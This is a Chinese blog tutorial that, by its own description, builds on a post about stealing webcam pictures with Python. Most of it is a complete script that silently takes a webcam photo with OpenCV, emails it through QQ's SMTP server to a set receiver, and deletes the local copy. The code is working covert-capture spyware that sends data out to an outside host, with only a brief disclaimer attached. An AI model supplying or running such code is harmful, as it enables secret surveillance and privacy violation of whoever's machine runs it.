本博文纯属娱乐,仅供大家学习参考,不得以此侵犯他人隐私。本篇文章参考Python研究者的python窃取摄像头的图片。在这里先感谢大佬的付出,大家可以去关注一下。
一、获取邮箱授权码
授权码用于调用邮箱实现邮件的发送,这里以QQ邮箱做演示,在设置的账户中找到POP3/ IMAP /SMTP / Exchange/ CardDAV/CalDAV服务,开启该服务后获取授权码。
二、导入三方库
import os
import cv2
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
三、代码部分
1.获取本地摄像头图片
通过opencv的VideoCapture函数抓取本地摄像头的图片。VideoCapture还可以解析本地视频、获取RSMP等地址的网络视频,大家可以自行查阅opencv的帮助文档查看。(PS:opencv库真的很强大)
def Get_photo():
cap = cv2.VideoCapture(0)
# 从摄像头获取视频
f, frame = cap.read()
# 逐帧打开视频
cv2.imwrite('image.jpg', frame)
# 将图片保存为本地文件
cap.release()
# 关闭摄像头
2.将图片发送至邮箱
这里的部分,我已经给出了注释就不讲解了。最重要的是这方面博主不太擅长,主要还是靠大佬的帮助,在这里再次膜拜大佬。
def Send_photo(sender, receiver, code1):
"""
:param sender: 发送者邮箱
:param receiver: 接收者邮箱
:param code1: 发送者邮箱授权码
:return:
"""
message = MIMEMultipart('related')
# 创建消息对象
subject = '技术信息获取'
# 邮件标题
message['Subject'] = subject
message['From'] = sender
message['To'] = receiver
content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
message.attach(content)
# 创建一个HTML文本对象,其中包含一个图像id
file = open("image.jpg", "rb")
img_data = file.read()
file.close()
# 打开图片读入内存
img = MIMEImage(img_data)
# 创建图像的MIME类型
img.add_header('Content-ID', 'imageid')
message.attach(img)
try:
server = smtplib.SMTP_SSL("smtp.qq.com", 465)
server.login(sender, code1)
# 邮箱授权码
server.sendmail(sender, receiver, message.as_string())
server.quit()
print("邮件发送成功")
os.remove('image.jpg') # 删除本地照片
except smtplib.SMTPException as e:
print(e)
四、完整代码
# -*- coding: utf-8 -*-
"""
@Time : 2023/6/1 15:29
@Auth : RS迷途小书童
@File :Get_Webcam.py
@IDE :PyCharm
@Purpose :获取电脑摄像头拍照,并发送邮箱
"""
import os
import cv2
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
def Get_photo():
cap = cv2.VideoCapture(0)
# 从摄像头获取视频
f, frame = cap.read()
# 逐帧打开视频
cv2.imwrite('image.jpg', frame)
# 将图片保存为本地文件
cap.release()
# 关闭摄像头
def Send_photo(sender, receiver, code1):
"""
:param sender: 发送者邮箱
:param receiver: 接收者邮箱
:param code1: 发送者邮箱授权码
:return:
"""
message = MIMEMultipart('related')
# 创建消息对象
subject = '技术信息获取'
# 邮件标题
message['Subject'] = subject
message['From'] = sender
message['To'] = receiver
content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
message.attach(content)
# 创建一个HTML文本对象,其中包含一个图像id
file = open("image.jpg", "rb")
img_data = file.read()
file.close()
# 打开图片读入内存
img = MIMEImage(img_data)
# 创建图像的MIME类型
img.add_header('Content-ID', 'imageid')
message.attach(img)
try:
server = smtplib.SMTP_SSL("smtp.qq.com", 465)
server.login(sender, code1)
# 邮箱授权码
server.sendmail(sender, receiver, message.as_string())
server.quit()
print("邮件发送成功")
os.remove('image.jpg') # 删除本地照片
except smtplib.SMTPException as e:
print(e)
if __name__ == "__main__":
send = '**********@qq.com'
# 发送者邮箱
receive = '*********@qq.com'
# 接收者邮箱
code = "********"
# 授权码
Get_photo()
# 获取图片
Send_photo(send, receive, code)
# 发送图片
标签:sender,img,Python,入门教程,import,邮箱,message,调取,摄像头 From: https://www.cnblogs.com/RSran/p/17486266.html本文章主要是分享个人在学习Python过程中写过的一些代码。有些部分参考了前人以及官网的教程,如有侵权请联系作者删除,大家有问题可以随时留言交流,博主会及时回复。